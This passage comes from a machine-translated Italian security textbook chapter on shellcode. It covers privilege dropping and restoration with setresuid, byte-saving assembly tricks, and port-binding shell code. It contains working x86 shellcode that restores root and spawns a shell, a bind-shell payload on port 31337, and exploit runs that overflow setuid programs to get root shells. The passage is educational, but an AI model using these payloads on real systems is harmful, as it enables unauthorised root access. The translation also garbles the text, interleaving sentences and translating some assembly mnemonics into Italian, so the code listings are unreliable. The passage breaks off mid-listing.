[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 5 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 35 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 9 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 33 byte per l'ID utente 999
------- [dati di fine nota] -------
sh-3.2 #

0x531 Una questione di privilegio


Per aiutare a mitigare la dilagante escalation dei privilegi, alcuni processi privilegiati lo faranno
abbassare
di accesso.i Questo
loro privilegi effettivi
può essere fattomentre
con lasifunzione
fanno cose che()non
seteuid , cherichiedono
imposteràquel tipo
l'effetto
ID utente attivo. Modificando l'effettivo ID utente, i privilegi del processo
può essere cambiato. La pagina di manuale per la funzione seteuid () è mostrata di seguito.

SETEGID (2) Manuale del programmatore Linux SETEGID (2)

NOME
seteuid, setegid - imposta l'ID utente o gruppo effettivo

SINOSSI
#include <sys / types.h>
#include <unistd.h>

int seteuid (uid_t euid);


int setegid (gid_t egid);

DESCRIZIONE
seteuid () imposta l'ID utente effettivo del processo corrente.
I processi utente senza privilegi possono impostare solo l'ID utente effettivo su
ID per l'ID utente reale, l'ID utente effettivo o l'ID utente impostato salvato.
Esattamente lo stesso vale per setegid () con "gruppo" invece di "utente".

VALORE DI RITORNO
In caso di successo, viene restituito zero. In caso di errore, viene restituito -1 e errno lo è
impostato in modo appropriato.

Questa funzione viene utilizzata dal codice seguente per eliminare i privilegi
quelli dell'utente "giochi" prima della chiamata vulnerabile di strcpy () .

Shellcode 299

Pagina 314

drop_privs.c

#include <unistd.h>
void lowered_privilege_function (unsigned char * ptr) {
buffer di caratteri [50];
seteuid (5); // Lascia i privilegi all'utente dei giochi.
strcpy (buffer, ptr);
}
int main (int argc, char * argv []) {
if (argc> 0)
lowered_privilege_function (argv [1]);
}

Anche se questo programma compilato è setuid root, i privilegi lo sono


lasciato all'utente del gioco prima che lo shellcode possa essere eseguito. Solo questo
genera una shell per l'utente dei giochi, senza accesso root.

reader @ hacking: ~ / booksrc $ gcc -o drop_privs drop_privs.c


lettore @ hacking: ~ / booksrc $ sudo chown root ./drop_privs; sudo chmod u + s ./drop_privs
lettore @ hacking: ~ / booksrc $ export SHELLCODE = $ (cat tiny_shell)
lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./drop_privs
SHELLCODE sarà a 0xbffff9cb
lettore @ hacking: ~ / booksrc $ ./drop_privs $ (perl -e 'print "\ xcb \ xf9 \ xff \ xbf" x40')
sh-3.2 $ whoami
Giochi
sh-3.2 $ id
uid = 999 (lettore) gid = 999 (lettore) euid = 5 (giochi)
gruppi = 4 (adm), 20 (dialout), 24 (cdrom), 25 (floppy), 29 (audio), 30 (dip), 44 (video), 46 (plugdev), 104 (scan
ner), 112 (netdev), 113 (lpadmin), 115 (powerdev), 117 (admin), 999 (lettore)
sh-3,2 $

Fortunatamente, i privilegi possono essere facilmente ripristinati all'inizio del nostro


shellcode con una chiamata di sistema per riportare i privilegi a root. Il più com
un modo completo per farlo è con una chiamata di sistema setresuid () , che imposta il reale,
ID utente efficaci e salvati. Il numero di chiamata di sistema e la pagina di manuale sono
mostrato sotto.

reader @ hacking: ~ / booksrc $ grep -i setresuid /usr/include/asm-i386/unistd.h


#define __NR_setresuid 164
#define __NR_setresuid32 208
reader @ hacking: ~ / booksrc $ man 2 setresuid
SETRESUID (2) Manuale del programmatore Linux SETRESUID (2)

NOME
setresuid, setresgid - imposta l'ID utente o gruppo reale, effettivo e salvato

SINOSSI
#define _GNU_SOURCE
#include <unistd.h>

300 0x500

Pagina 315

int setresuid (uid_t ruid, uid_t euid, uid_t suid);


int setresgid (gid_t rgid, gid_t egid, gid_t sgid);

DESCRIZIONE
setresuid () imposta l'ID utente reale, l'ID utente effettivo e il file
set-user-ID del processo corrente.
Il seguente codice shell effettua una chiamata a setresuid () prima di generare il file
shell per ripristinare i privilegi di root.

priv_shell.s

BITS 32

; setresuid (uid_t ruid, uid_t euid, uid_t suid);


xor eax, eax; Zero out eax.
xor ebx, ebx; Azzera ebx.
xor ecx, ecx; Azzera ecx.
xor edx, edx; Azzera edx.
mov al, 0xa4; 164 (0xa4) per syscall # 164
int 0x80 ; setresuid (0, 0, 0) Ripristina tutti i privati ​di root.

; execve (const char * filename, char * const argv [], char * const envp [])
xor eax, eax; Assicurati che eax sia di nuovo azzerato.
mov al, 11 ; syscall # 11
push ecx ; spingere alcuni valori nulli per la terminazione della stringa.
push 0x68732f2f; spingere "// sh" nello stack.
push 0x6e69622f; spingere "/ bin" nella pila.
mov ebx, esp; Inserisci l'indirizzo di "/ bin // sh" in ebx tramite esp.
push ecx ; spingere il terminatore null a 32 bit allo stack.
mov edx, esp; Questo è un array vuoto per envp.
push ebx ; spingere la stringa addr per impilare sopra il terminatore nullo.
mov ecx, esp; Questo è l'array argv con la stringa ptr.
int 0x80 ; execve ("/ bin // sh", ["/ bin // sh", NULL], [NULL])

In questo modo, anche se un programma è in esecuzione con privilegi ridotti quando è


sfruttato, lo shellcode può ripristinare i privilegi. Questo effetto è dimostrato
di seguito sfruttando lo stesso programma con privilegi eliminati.

lettore @ hacking: ~ / booksrc $ nasm priv_shell.s


lettore @ hacking: ~ / booksrc $ export SHELLCODE = $ (cat priv_shell)
lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./drop_privs
SHELLCODE sarà a 0xbffff9bf
lettore @ hacking: ~ / booksrc $ ./drop_privs $ (perl -e 'print "\ xbf \ xf9 \ xff \ xbf" x40')
sh-3.2 # whoami
radice
sh-3.2 # id
uid = 0 (root) gid = 999 (lettore)
gruppi = 4 (adm), 20 (dialout), 24 (cdrom), 25 (floppy), 29 (audio), 30 (dip), 44 (video), 46 (plugdev), 104 (scan
ner), 112 (netdev), 113 (lpadmin), 115 (powerdev), 117 (admin), 999 (lettore)
sh-3.2 #

Shellcode 301

Pagina 316

0x532 e ancora più piccolo


Alcuni byte in più possono ancora essere eliminati da questo codice shell. C'è un byte singolo
x 86 chiamata cdq , che sta per convertire doubleword in quadword .
Invece di utilizzare operandi, questa istruzione ottiene sempre la sua origine dal file
EAX registra e memorizza i risultati tra i registri EDX e EAX. Da
i registri sono doppie parole a 32 bit, sono necessari due registri per memorizzare un a 64 bit
quadword. La conversione è semplicemente una questione di estensione del bit di segno da a
Da intero a 32 bit a intero a 64 bit. Operativamente, questo significa che se il bit di segno di EAX
è 0 , l' istruzione cdq azzera il registro EDX. Utilizzando xor per azzerare EDX
il registro richiede due byte; quindi, se EAX è già azzerato, utilizzando l' istruzione cdq
a zero EDX salverà un byte

31 D2 xor edx, edx

rispetto a

99 cdq

Un altro byte può essere salvato con un uso intelligente dello stack. Poiché lo stack è
Allineato a 32 bit, un valore a byte singolo inserito nello stack verrà allineato come file
doppia parola. Quando questo valore viene rimosso, verrà esteso con il segno, riempiendo
l'intero registro. Le istruzioni che spingono un singolo byte e lo riportano indietro
in un registro prendono tre byte, mentre si usa xor per azzerare il registro e spostarsi
un singolo byte richiede quattro byte

31 C0 xor eax, eax


B0 0B mov al, 0xb

rispetto a

6A 0B push byte + 0xb


58 pop eax

Questi trucchi (mostrati in grassetto) sono usati nel seguente elenco di shellcode.
Questo si assembla nello stesso codice shell di quello usato nei capitoli precedenti.

shellcode.s

BITS 32

; setresuid (uid_t ruid, uid_t euid, uid_t suid);


xor eax, eax; Zero out eax.
xor ebx, ebx; Azzera ebx.
xor ecx, ecx; Azzera ecx.
cdq ; Azzera edx usando il bit di segno da eax.
mov BYTE al, 0xa4; syscall 164 (0xa4)
int 0x80 ; setresuid (0, 0, 0) Ripristina tutti i privati ​di root.

; execve (const char * filename, char * const argv [], char * const envp [])

302 0x500
Pagina 317

premere BYTE 11; spingere 11 nella pila.


pop eax ; pop la dword di 11 in eax.
push ecx ; spingere alcuni valori nulli per la terminazione della stringa.
push 0x68732f2f; spingere "// sh" nello stack.
push 0x6e69622f; spingere "/ bin" nella pila.
mov ebx, esp; Inserisci l'indirizzo di "/ bin // sh" in ebx tramite esp.
push ecx ; spingere il terminatore null a 32 bit allo stack.
mov edx, esp; Questo è un array vuoto per envp.
push ebx ; spingere la stringa addr per impilare sopra il terminatore nullo.
mov ecx, esp; Questo è l'array argv con la stringa ptr.
int 0x80 ; execve ("/ bin // sh", ["/ bin // sh", NULL], [NULL])

La sintassi per il push di un singolo byte richiede la dichiarazione della dimensione.


Le dimensioni valide sono BYTE per un byte, WORD per due byte e DWORD per quattro byte.
Queste dimensioni possono essere implicite dalle larghezze dei registri, quindi spostandosi nell'AL
register implica la dimensione BYTE . Anche se non è necessario utilizzare una taglia in tutto
situazioni, non fa male e può aiutare la leggibilità.

Codice shell di associazione porta 0x540


Quando si sfrutta un programma remoto, lo shellcode che abbiamo progettato finora non lo farà
lavoro. Lo shellcode iniettato deve comunicare in rete con
fornire un prompt di root interattivo. Lo shellcode di associazione alla porta vincolerà la shell
a una porta di rete dove ascolta le connessioni in entrata. Nel precedente
capitolo, abbiamo utilizzato questo tipo di codice shell per sfruttare il server tinyweb. Il
il seguente codice C si collega alla porta 31337 e ascolta una connessione TCP.

bind_port.c

#include <unistd.h>
#include <string.h>
#include <sys / socket.h>
#include <netinet / in.h>
#include <arpa / inet.h>

int main (void) {


int sockfd, new_sockfd; // Ascolta su sock_fd, nuova connessione su new_fd
struct sockaddr_in host_addr, client_addr; // Informazioni sul mio indirizzo
socklen_t sin_size;
int sì = 1;

sockfd = socket (PF_INET, SOCK_STREAM, 0);

host_addr.sin_family = AF_INET; // Ordine byte host


host_addr.sin_port = htons (31337); // Ordine byte di rete breve
host_addr.sin_addr.s_addr = INADDR_ANY; // Compila automaticamente il mio IP.
memset (& (host_addr.sin_zero), '\ 0', 8); // Azzera il resto della struttura.

bind (sockfd, (struct sockaddr *) & host_addr, sizeof (struct sockaddr));

ascolta (sockfd, 4);

Shellcode 303

Pagina 318

sin_size = sizeof (struct sockaddr_in);


new_sockfd = accept (sockfd, (struct sockaddr *) & client_addr, & sin_size);
}

È possibile accedere a queste familiari funzioni socket con un unico Linux


chiamata di sistema, giustamente chiamata socketcall () . Questa è la chiamata di sistema numero 102, che ha un'estensione
pagina di manuale leggermente criptica.

reader @ hacking: ~ / booksrc $ grep socketcall /usr/include/asm-i386/unistd.h


#define __NR_socketcall 102
reader @ hacking: ~ / booksrc $ man 2 socketcall
IPC (2) Manuale del programmatore Linux IPC (2)

NOME
socketcall - chiamate di sistema socket

SINOSSI
int socketcall (int call, unsigned long * args);

DESCRIZIONE
socketcall () è un punto di ingresso del kernel comune per le chiamate di sistema socket. chiamata
determina quale funzione socket richiamare. args punta a un blocco contenente
gli argomenti effettivi, che vengono passati alla chiamata appropriata.

I programmi utente dovrebbero chiamare le funzioni appropriate come di consueto


nomi. Solo gli implementatori di librerie standard e gli hacker del kernel devono farlo
conoscere socketcall ().

I possibili numeri di chiamata per il primo argomento sono elencati nel file
linux / net.h include file.

Da /usr/include/linux/net.h

#define SYS_SOCKET 1 / * sys_socket (2) * /


#define SYS_BIND 2 / * sys_bind (2) * /
#define SYS_CONNECT 3 / * sys_connect (2) * /
#define SYS_LISTEN 4 / * sys_listen (2) * /
#define SYS_ACCEPT 5 / * sys_accept (2) * /
#define SYS_GETSOCKNAME 6 / * sys_getsockname (2) * /
#define SYS_GETPEERNAME 7 / * sys_getpeername (2) * /
#define SYS_SOCKETPAIR 8 / * sys_socketpair (2) * /
#define SYS_SEND 9 / * sys_send (2) * /
#define SYS_RECV 10 / * sys_recv (2) * /
#define SYS_SENDTO 11 / * sys_sendto (2) * /
#define SYS_RECVFROM 12 / * sys_recvfrom (2) * /
#define SYS_SHUTDOWN 13 / * sys_shutdown (2) * /
#define SYS_SETSOCKOPT 14 / * sys_setsockopt (2) * /
#define SYS_GETSOCKOPT 15 / * sys_getsockopt (2) * /
#define SYS_SENDMSG 16 / * sys_sendmsg (2) * /
#define SYS_RECVMSG 17 / * sys_recvmsg (2) * /

304 0x500

Pagina 319

Quindi, per effettuare chiamate di sistema socket utilizzando Linux, EAX è sempre 102 per
, EBX contiene il tipo di chiamata socket e ECX è un puntatore a
socketcall ()
gli argomenti della chiamata socket. Le chiamate sono abbastanza semplici, ma alcune di esse
richiedono una struttura sockaddr , che deve essere costruita dallo shellcode. Debug
il codice C compilato è il modo più diretto per guardare questa struttura in memoria.

lettore @ hacking: ~ / booksrc $ gcc -g bind_port.c


lettore @ hacking: ~ / booksrc $ gdb -q ./a.out
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) elenco 18
13 sockfd = socket (PF_INET, SOCK_STREAM, 0);
14
15 host_addr.sin_family = AF_INET; // Ordine byte host
16 host_addr.sin_port = htons (31337); // Ordine byte di rete breve
17 host_addr.sin_addr.s_addr = INADDR_ANY; // Compila automaticamente il mio IP.
18 memset (& (host_addr.sin_zero), '\ 0', 8); // Azzera il resto della struttura.
19
20 bind (sockfd, (struct sockaddr *) & host_addr, sizeof (struct sockaddr));
21
22 ascolta (sockfd, 4);
(gdb) pausa 13
Breakpoint 1 in 0x804849b: file bind_port.c, riga 13.
(gdb) break 20
Breakpoint 2 in 0x80484f5: file bind_port.c, riga 20.
(gdb) esegui
Avvio del programma: /home/reader/booksrc/a.out

Breakpoint 1, main () su bind_port.c: 13


13 sockfd = socket (PF_INET, SOCK_STREAM, 0);
(gdb) x / 5i $ eip
0x804849b <main + 23>: mov DWORD PTR [esp + 8], 0x0
0x80484a3 <main + 31>: mov DWORD PTR [esp + 4], 0x1
0x80484ab <main + 39>: mov DWORD PTR [esp], 0x2
0x80484b2 <main + 46>: chiama 0x8048394 <socket @ plt>
0x80484b7 <main + 51>: mov DWORD PTR [ebp-12], eax
(gdb)

Il primo punto di interruzione è appena prima che avvenga la chiamata al socket, poiché noi
è necessario controllare i valori di PF_INET e SOCK_STREAM . Tutti e tre gli argomenti lo sono
inserito nello stack (ma con istruzioni mov ) in ordine inverso. Questo significa
PF_INET è 2 e SOCK_STREAM è 1 .

(gdb) cont
Continuando.

Breakpoint 2, main () su bind_port.c: 20


20 bind (sockfd, (struct sockaddr *) & host_addr, sizeof (struct sockaddr));
(gdb) print host_addr
$ 1 = {sin_family = 2, sin_port = 27002, sin_addr = {s_addr = 0},
sin_zero = "\ 000 \ 000 \ 000 \ 000 \ 000 \ 000 \ 000"}
(gdb) print sizeof (struct sockaddr)

Shellcode 305

Pagina 320

$ 2 = 16
(gdb) x / 16xb e host_addr
0xbffff780: 0x02 0x00 0x7a 0x69 0x00 0x00 0x00 0x00
0xbffff788: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
(gdb) p / x 27002
$ 3 = 0x697a
(gdb) p 0x7a69
$ 4 = 31337
(gdb)

Il punto di interruzione successivo si verifica dopo che la struttura sockaddr è stata riempita
valori. Il debugger è abbastanza intelligente da decodificare gli elementi della struttura
quando host_addr viene stampato, ma ora devi essere abbastanza intelligente da realizzare il file
la porta è memorizzata nell'ordine dei byte di rete. Gli elementi sin_family e sin_port sono
entrambe le parole, seguite dall'indirizzo come DWORD . In questo caso, l'indirizzo è 0 ,
il che significa che qualsiasi indirizzo può essere utilizzato per l'associazione. I restanti otto byte
dopodiché sono solo spazio extra nella struttura. I primi otto byte in
struttura (mostrata in grassetto) contiene tutte le informazioni importanti.
Le seguenti istruzioni di assemblaggio eseguono tutte le chiamate socket necessarie
per eseguire il binding alla porta 31337 e accettare le connessioni TCP. La struttura sockaddr e
gli array di argomenti vengono creati ciascuno spingendo i valori in ordine inverso a
stack e quindi copiare ESP in ECX. Gli ultimi otto byte del file sockaddr
struttura non vengono effettivamente inseriti nello stack, poiché non vengono utilizzati. Qualunque cosa
otto byte casuali nello stack occuperanno questo spazio, che
è ok.

bind_port.s
BITS 32

; s = presa (2, 1, 0)
push BYTE 0x66; socketcall è syscall # 102 (0x66).
pop eax
cdq ; Azzera edx da utilizzare come DWORD nullo in seguito.
xor ebx, ebx; ebx è il tipo di socketcall.
inc ebx ; 1 = SYS_SOCKET = socket ()
push edx ; Crea array arg: {protocollo = 0,
premere BYTE 0x1; (al contrario) SOCK_STREAM = 1,
spingere BYTE 0x2; AF_INET = 2}
mov ecx, esp; ecx = ptr nell'array degli argomenti
int 0x80 ; Dopo syscall, eax ha il descrittore di file socket.

mov esi, eax; salva il socket FD in esi per dopo

; bind (s, [2, 31337, 0], 16)


push BYTE 0x66; socketcall (syscall # 102)
pop eax
inc ebx ; ebx = 2 = SYS_BIND = bind ()
push edx ; Costruisci la struttura sockaddr: INADDR_ANY = 0
premere WORD 0x697a; (in ordine inverso) PORT = 31337
push WORD bx; AF_INET = 2
mov ecx, esp; ecx = puntatore alla struttura del server

306 0x500

Pagina 321

premere BYTE 16; argv: {sizeof (server struct) = 16,


push ecx ; puntatore alla struttura del server,
push esi ; descrittore di file socket}
mov ecx, esp; ecx = array di argomenti
int 0x80 ; eax = 0 in caso di successo

; ascolta (s, 0)
mov BYTE al, 0x66; socketcall (syscall # 102)
inc ebx
inc ebx ; ebx = 4 = SYS_LISTEN = ascolta ()
push ebx ; argv: {backlog = 4,
push esi ; socket fd}
mov ecx, esp; ecx = array di argomenti
int 0x80

; c = accetta (s, 0, 0)
mov BYTE al, 0x66; socketcall (syscall # 102)
inc ebx ; ebx = 5 = SYS_ACCEPT = accetta ()
push edx ; argv: {socklen = 0,
push edx ; sockaddr ptr = NULL,
push esi ; socket fd}
mov ecx, esp; ecx = array di argomenti
int 0x80 ; eax = presa collegata FD

Quando assemblato e utilizzato in un exploit, questo codice shell si legherà a


porta 31337 e attendere una connessione in entrata, bloccando all'accettazione della chiamata.
Quando una connessione viene accettata, il nuovo descrittore di file socket viene inserito in EAX
alla fine di questo codice. Questo non sarà davvero utile finché non sarà combinato con
il codice di generazione della shell descritto in precedenza. Fortunatamente, la descrizione del file standard
tori rendono questa fusione straordinariamente semplice.

0x541 Duplicazione dei descrittori di file standard


Input standard, output standard ed errore standard sono i tre standard
descrittori di file utilizzati dai programmi per eseguire operazioni di I / O standard. Anche le prese lo sono
solo descrittori di file che possono essere letti e scritti. Semplicemente scambiando
l'input, l'output e l'errore standard della shell generata con il file connected
descrittore di file socket, la shell scriverà l'output e gli errori nel socket e
legge il suo input dai byte ricevuti dal socket. C'è una chiamata di sistema
specifico per la duplicazione di descrittori di file, chiamati dup2 . Questa è una chiamata di sistema
numero 63.

lettore @ hacking: ~ / booksrc $ grep dup2 /usr/include/asm-i386/unistd.h


#define __NR_dup2 63
lettore @ hacking: ~ / booksrc $ man 2 dup2
DUP (2) Manuale del programmatore Linux DUP (2)

NOME
dup, dup2: duplica un descrittore di file

SINOSSI
#include <unistd.h>

Shellcode 307

Pagina 322

int dup (int oldfd);


int dup2 (int oldfd, int newfd);

DESCRIZIONE
dup () e dup2 () creano una copia del descrittore di file oldfd.

dup2 () rende newfd la copia di oldfd, chiudendo prima newfd se necessario.

Lo shellcode bind_port.s è stato interrotto con il descrittore di file socket connesso


in EAX. Le seguenti istruzioni vengono aggiunte nel file bind_shell_beta.s a
duplicarechiamate
vengono questo socket nei descrittori
istruzioni di file
per eseguire unaI shell
/ O standard; quindi,
nel processo il tiny_shell
corrente. Il generato
i descrittori dei file di input e output standard della shell saranno la connessione TCP,
consentendo l'accesso remoto alla shell.

Nuove istruzioni da bind_shell1.s

; dup2 (socket connesso, {tutti e tre i descrittori di file I / O standard})


mov ebx, eax; Spostare lo zoccolo FD in ebx.
spingere BYTE 0x3F; dup2 syscall # 63
pop eax
xor ecx, ecx; ecx = 0 = standard input
int 0x80 ; dup (c, 0)
mov BYTE al, 0x3F; dup2 syscall # 63
inc ecx ; ecx = 1 = output standard
int 0x80 ; dup (c, 1)
mov BYTE al, 0x3F; dup2 syscall # 63
inc ecx ; ecx = 2 = errore standard
int 0x80 ; dup (c, 2)

; execve (const char * filename, char * const argv [], char * const envp [])
mov BYTE al, 11; eseguire syscall # 11
push edx ; spingere alcuni valori nulli per la terminazione della stringa.
push 0x68732f2f; spingere "// sh" nello stack.
push 0x6e69622f; spingere "/ bin" nella pila.
mov ebx, esp; Inserisci l'indirizzo di "/ bin // sh" in ebx tramite esp.
push ecx ; spingere il terminatore null a 32 bit allo stack.
mov edx, esp; Questo è un array vuoto per envp.
push ebx ; spingere la stringa addr per impilare sopra il terminatore nullo.
mov ecx, esp; Questo è l'array argv con la stringa ptr.
int 0x80 ; execve ("/ bin // sh", ["/ bin // sh", NULL], [NULL])

Quando questo codice shell viene assemblato e utilizzato in un exploit, si legherà a


porta 31337 e attendere una connessione in entrata. Nell'output di seguito, grep
viene utilizzato per verificare rapidamente la presenza di byte nulli. Alla fine, il processo si blocca in attesa
per una connessione.

lettore @ hacking: ~ / booksrc $ nasm bind_shell_beta.s


lettore @ hacking: ~ / booksrc $ hexdump -C bind_shell_beta | grep --color = auto 00
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 | jfX.1.CRj.j ..... |
00000010 89 c6 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a | ..jfXCRfhzifS..j |
00000020 10 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd | .QV ..... fCCSV ... |

308 0x500

Pagina 323

00000030 80 b0 66 43 52 52 56 89 e1 cd 80 89 c3 6a 3f 58 | ..fCRRV ...... j? X |


00000040 31 c9 cd 80 b0 3f 41 cd 80 b0 3f 41 cd 80 b0 0b | 1 ....? A ...? A .... |
00000050 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 e2 | Rh // shh / bin..R .. |
00000060 53 89 e1 cd 80 | S .... |
00000065
lettore @ hacking: ~ / booksrc $ export SHELLCODE = $ (cat bind_shell_beta)
lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./notesearch
SHELLCODE sarà a 0xbffff97f
lettore @ hacking: ~ / booksrc $ ./notesearch $ (perl -e 'print "\ x7f \ xf9 \ xff \ xbf" x40')
[DEBUG] ha trovato una nota di 33 byte per l'ID utente 999
------- [dati di fine nota] -------

Da un'altra finestra di terminale, il programma netstat viene utilizzato per trovare il file
porta di ascolto. Quindi, netcat viene utilizzato per connettersi alla shell di root su quella porta.

lettore @ hacking: ~ / booksrc $ sudo netstat -lp | grep 31337


tcp 0 0 *: 31337 *: * LISTEN 25604 / notesearch
lettore @ hacking: ~ / booksrc $ nc -vv 127.0.0.1 31337
localhost [127.0.0.1] 31337 (?) aperto
chi sono
radice

0x542 Strutture di controllo ramificate


Le strutture di controllo del linguaggio di programmazione C, come i cicli for
e i blocchi if-then-else, sono costituiti da rami e cicli condizionali nel file
linguaggio macchina. Con le strutture di controllo, le chiamate ripetute a dup2 potrebbero essere
ridotto a una singola chiamata in un ciclo. Il primo programma in C scritto in precedenza
capitoli hanno utilizzato un ciclo for per salutare il mondo 10 volte. Smontaggio del principale
ci mostrerà come il compilatore ha implementato il ciclo for usando assem-
istruzioni bly. Le istruzioni del ciclo (mostrate di seguito in grassetto) vengono dopo il
le istruzioni del prologo della funzione salvano la memoria dello stack per la variabile locale i .
Questa variabile è referenziata in relazione al registro EBP come [ebp-4] .

reader @ hacking: ~ / booksrc $ gcc firstprog.c


lettore @ hacking: ~ / booksrc $ gdb -q ./a.out
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass main
Dump del codice assembler per la funzione main:
0x08048374 <main + 0>: push ebp
0x08048375 <principale + 1>: mov ebp, esp
0x08048377 <principale + 3>: sub esp, 0x8
0x0804837a <main + 6>: ed esp, 0xfffffff0
0x0804837d <main + 9>: mov eax, 0x0
0x08048382 <main + 14>: sub esp, eax
0x08048384 <main + 16>: mov DWORD PTR [ebp-4], 0x0
0x0804838b <main + 23>: cmp DWORD PTR [ebp-4], 0x9
0x0804838f <main + 27>: jle 0x8048393 <main + 31>
0x08048391 <main + 29>: jmp 0x80483a6 <main + 50>
0x08048393 <main + 31>: mov DWORD PTR [esp], 0x8048484
0x0804839a <main + 38>: chiama 0x80482a0 <printf @ plt>

Shellcode 309

Pagina 324
0x0804839f <main + 43>: lea eax, [ebp-4]
0x080483a2 <main + 46>: incl DWORD PTR [eax]
0x080483a4 <main + 48>: jmp 0x804838b <main + 23>
0x080483a6 <main + 50>: abbandona
0x080483a7 <principale + 51>: ret
Fine del dump dell'assemblatore.
(gdb)

Il ciclo contiene due nuove istruzioni: cmp (compare) e jle (salta se


minore o uguale a), quest'ultimo appartenente alla famiglia del salto condizionale
Istruzioni. L' istruzione cmp confronterà i suoi due operandi, impostando i flag
in base al risultato. Quindi, un'istruzione di salto condizionale salterà in base a
le bandiere. Nel codice precedente, se il valore in [ebp-4] è minore o uguale a 9,
l'esecuzione salterà a 0x8048393 , dopo la successiva istruzione jmp . Altrimenti, il file
la successiva istruzione jmp porta l'esecuzione alla fine della funzione a 0x080483a6 ,
uscire dal ciclo. Il corpo del ciclo effettua la chiamata a printf () , incrementi
la variabile contatore in [ebp-4] , e infine torna all'istruzione di confronto
zione per continuare il ciclo. Utilizzo di istruzioni di salto condizionale, complesso
strutture di controllo della programmazione come i loop possono essere create in assembly.
Di seguito sono riportate ulteriori istruzioni per il salto condizionale.

Istruzioni Descrizione

cmp <dest>, <source> Confronta l'operando di destinazione con l'origine, impostando i flag per l'uso
con un'istruzione di salto condizionale.

je <target> Salta al target se i valori confrontati sono uguali.

jne <target> Salta se non uguale.

jl <target> Salta se inferiore a.

jle <target> Salta se minore o uguale a.

jnl <target> Salta se non meno di.

jnle <target> Salta se non inferiore o uguale a.

jg jge Salta se maggiore o maggiore o uguale a.

jng jnge Salta se non maggiore di, o non maggiore o uguale a.

Queste istruzioni possono essere utilizzate per ridurre la porzione dup2 dello shellcode
fino a quanto segue:

; dup2 (socket connesso, {tutti e tre i descrittori di file I / O standard})


mov ebx, eax; Spostare lo zoccolo FD in ebx.
xor eax, eax; Zero eax.
xor ecx, ecx; ecx = 0 = standard input
dup_loop:
mov BYTE al, 0x3F; dup2 syscall # 63
int 0x80 ; dup2 (c, 0)
inc ecx
cmp BYTE cl, 2 ; Confronta ecx con 2.
jle dup_loop; Se ecx <= 2, passa a dup_loop.

310 0x500

Pagina 325

Questo ciclo itera ECX da 0 a 2 , effettuando ogni volta una chiamata a dup2 . Con
una comprensione più completa dei flag usati dall'istruzione cmp , this
loop può essere ulteriormente ridotto. I flag di stato impostati dall'istruzione cmp sono
impostato anche dalla maggior parte delle altre istruzioni, descrivendo gli attributi dell'istruzione
risultato. Questi flag sono carry flag (CF), parity flag (PF), aggiusta flag (AF), over-
flag di flusso (OF), flag di zero (ZF) e flag di segno (SF). Le ultime due bandiere sono le
più utile e più facile da capire. Il flag zero è impostato su true se il
il risultato è zero, altrimenti è falso. La bandiera del segno è semplicemente la più significativa
bit del risultato, che è vero se il risultato è negativo e falso altrimenti.
Ciò significa che, dopo ogni istruzione con esito negativo, il flag di segno
diventa vero e il flag zero diventa falso.

Nome abbreviazione Descrizione

ZF flag zero Vero se il risultato è zero.

SF segno bandiera Vero se il risultato è negativo (uguale al bit più significativo di risultato).

L' istruzione cmp (confronta) è in realtà solo un'istruzione sub (sottrazione)


che getta via i risultati, influenzando solo i flag di stato. Il jle (salta se
minore o uguale a) sta effettivamente controllando i flag di zero e segno.
Se uno di questi flag è vero, l'operando di destinazione (primo) è minore di
o uguale all'operando sorgente (secondo). L'altra istruzione di salto condizionale
le zioni funzionano in modo simile e ci sono ancora più salti condizionali
istruzioni che controllano direttamente i singoli flag di stato:

Istruzioni Descrizione

jz <target> Salta al target se è impostato il flag zero.

jnz <target> Salta se il flag zero non è impostato.

js <target> Salta se il flag del segno è impostato.

jns <target> Jump è il flag del segno non impostato.

Con questa conoscenza, l' istruzione cmp (compare) può essere rimossa
interamente se l'ordine del ciclo è invertito. A partire da 2 e conto alla rovescia,
il flag del segno può essere controllato per eseguire un ciclo fino a 0 . Viene mostrato il ciclo accorciato
sotto, con le modifiche mostrate in grassetto.

; dup2 (socket connesso, {tutti e tre i descrittori di file I / O standard})


mov ebx, eax; Spostare lo zoccolo FD in ebx.
xor eax, eax; Zero eax.
spingere BYTE 0x2; ecx inizia da 2.
pop ecx
dup_loop:
mov BYTE al, 0x3F; dup2 syscall # 63
int 0x80 ; dup2 (c, 0)
dec ecx ; Conto alla rovescia fino a 0.
jns dup_loop; Se il flag del segno non è impostato, ecx non è negativo.

Shellcode 311

Pagina 326

Le prime due istruzioni prima del ciclo possono essere accorciate con xchg
(scambio) istruzione. Questa istruzione scambia i valori tra la sorgente
e operandi di destinazione:

Istruzioni Descrizione

xchg <dest>, <source> Scambia i valori tra i due operandi.

Questa singola istruzione può sostituire entrambe le seguenti istruzioni,


che occupano quattro byte:

89 C3 mov ebx, eax


31 C0 xor eax, eax

Il registro EAX deve essere azzerato per cancellare solo i tre byte superiori
del registro e EBX ha già cancellato questi byte superiori. Quindi scambiare
i valori tra EAX ed EBX uccideranno due piccioni con una fava,
ing la dimensione alla seguente istruzione a byte singolo:

93 xchg eax, ebx

Poiché l' istruzione xchg è in realtà più piccola di un'istruzione mov tra
due registri, può essere utilizzato per ridurre lo shellcode in altri posti. Naturalmente questo
funziona solo in situazioni in cui il registro dell'operando sorgente non ha importanza.
La seguente versione dello shellcode della porta di collegamento utilizza l'istruzione di scambio
per ridurre di qualche byte le sue dimensioni.

bind_shell.s

BITS 32

; s = presa (2, 1, 0)
push BYTE 0x66; socketcall è syscall # 102 (0x66).
pop eax
cdq ; Azzera edx da utilizzare come DWORD nullo in seguito.
xor ebx, ebx; Ebx è il tipo di socketcall.
inc ebx ; 1 = SYS_SOCKET = socket ()
push edx ; Crea array arg: {protocollo = 0,
premere BYTE 0x1; (al contrario) SOCK_STREAM = 1,
spingere BYTE 0x2; AF_INET = 2}
